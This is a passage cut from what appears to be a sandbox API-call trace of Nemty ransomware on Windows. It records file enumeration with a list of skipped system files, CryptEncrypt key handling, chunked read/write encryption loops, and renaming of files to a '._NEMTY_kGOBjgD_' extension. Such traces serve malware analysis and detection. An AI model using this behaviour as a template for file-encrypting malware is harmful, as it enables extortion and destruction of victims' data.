lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.063] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.073] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.073] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.073] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.073] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.079] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.079] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0132.085] CloseHandle (hObject=0xffffffff) returned 0 [0132.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340410 [0132.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0132.085] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0132.085] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0132.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0132.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0132.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63404e8 [0132.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0132.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e8 | out: hHeap=0x4f90000) returned 1 [0132.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0132.086] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Flyout_Thumbnail_Shadow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_flyout_thumbnail_shadow.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Flyout_Thumbnail_Shadow.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_flyout_thumbnail_shadow.png._nemty_kgobjgd_")) returned 0 [0132.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0132.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0132.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0132.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a0 | out: hHeap=0x4f90000) returned 1 [0132.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0132.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0132.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0132.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0132.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0132.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.086] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc912087e, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc912087e, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x24db4, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="Gadget_Main_Background_Loading.png", cAlternateFileName="")) returned 1 [0132.086] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2=".") returned 1 [0132.086] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="..") returned 1 [0132.086] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="...") returned 1 [0132.086] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="windows") returned -1 [0132.086] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="$RECYCLE.BIN") returned 1 [0132.086] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="rsa") returned -1 [0132.086] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="NTDETECT.COM") returned -1 [0132.086] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="ntldr") returned -1 [0132.086] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="MSDOS.SYS") returned -1 [0132.086] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="IO.SYS") returned -1 [0132.086] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="boot.ini") returned 1 [0132.087] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="boot.ini") returned 1 [0132.087] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="AUTOEXEC.BAT") returned 1 [0132.087] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="ntuser.dat") returned -1 [0132.087] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="desktop.ini") returned 1 [0132.087] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="CONFIG.SYS") returned 1 [0132.087] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="RECYCLER") returned -1 [0132.087] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="BOOTSECT.BAK") returned 1 [0132.087] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="bootmgr") returned 1 [0132.087] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="programdata") returned -1 [0132.087] lstrcmpiW (lpString1="Gadget_Main_Background_Loading.png", lpString2="appdata") returned 1 [0132.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0132.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Background_Loading.png", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0132.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Background_Loading.png", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Main_Background_Loading.png", lpUsedDefaultChar=0x0) returned 34 [0132.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0132.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Background_Loading.png", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0132.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Background_Loading.png", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Main_Background_Loading.png", lpUsedDefaultChar=0x0) returned 34 [0132.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0132.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0132.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0132.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0132.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Background_Loading.png", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0132.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0132.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Background_Loading.png", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Main_Background_Loading.png", lpUsedDefaultChar=0x0) returned 34 [0132.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0132.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0132.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Background_Loading.png", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0132.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0132.087] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Main_Background_Loading.png", cchWideChar=34, lpMultiByteStr=0x6345640, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Main_Background_Loading.png", lpUsedDefaultChar=0x0) returned 34 [0132.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0132.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0132.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0132.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340120 [0132.088] Sleep (dwMilliseconds=0x5) [0132.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2624030, dwHighDateTime=0x1d561e8)) [0132.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2624030, dwHighDateTime=0x1d561e8)) [0132.099] GetLastError () returned 0x5 [0132.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0132.099] GetLastError () returned 0x5 [0132.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0132.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0132.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0132.099] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0132.099] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0132.099] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0132.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401f8 [0132.099] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401f8, pcchString=0x653e91c | out: pszString="gPpPr9X5b3drpMxcnbhBMPjK0D2vkccX+R5XELwfQxqR44krIxNVfY6fR3IsRJub\r\n7pUvp7HNGOfmM2IVwFCavEYkw91Sthx1rHtqQdcQdpioO6twCs5u9kT/bfWAk+V5\r\nmZH4gLDdH1O8dc5LgHF2V8cp+bK0xAo4BkeOzvA6gxkyH4kOcwOuT/XLa/49wzNj\r\n0khFpoGV40Sevrl5HdrTj3wThcqxNe88FSNbJOSWyKNvoOuc9GC18AG5eN4wu/Yd\r\nJIJBqueUCtH79cknCWtagkccnut9if3rUxNJPGU/BPNHWAQQLJlIrX6u+FOciUwo\r\n/Tf67UFLqS2wSTOaEg2lVw==\r\n", pcchString=0x653e91c) returned 1 [0132.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0132.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401f8 | out: hHeap=0x4f90000) returned 1 [0132.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0132.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0132.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401f8 [0132.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0132.099] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Main_Background_Loading.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_main_background_loading.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0132.099] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0132.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0132.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.100] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.109] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.109] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.119] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.128] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.128] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.138] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.148] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.148] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.148] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.157] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.157] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.157] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.157] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.167] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.167] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.167] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.177] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.177] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.186] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.187] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.187] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.187] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.204] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.204] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.210] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.210] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, 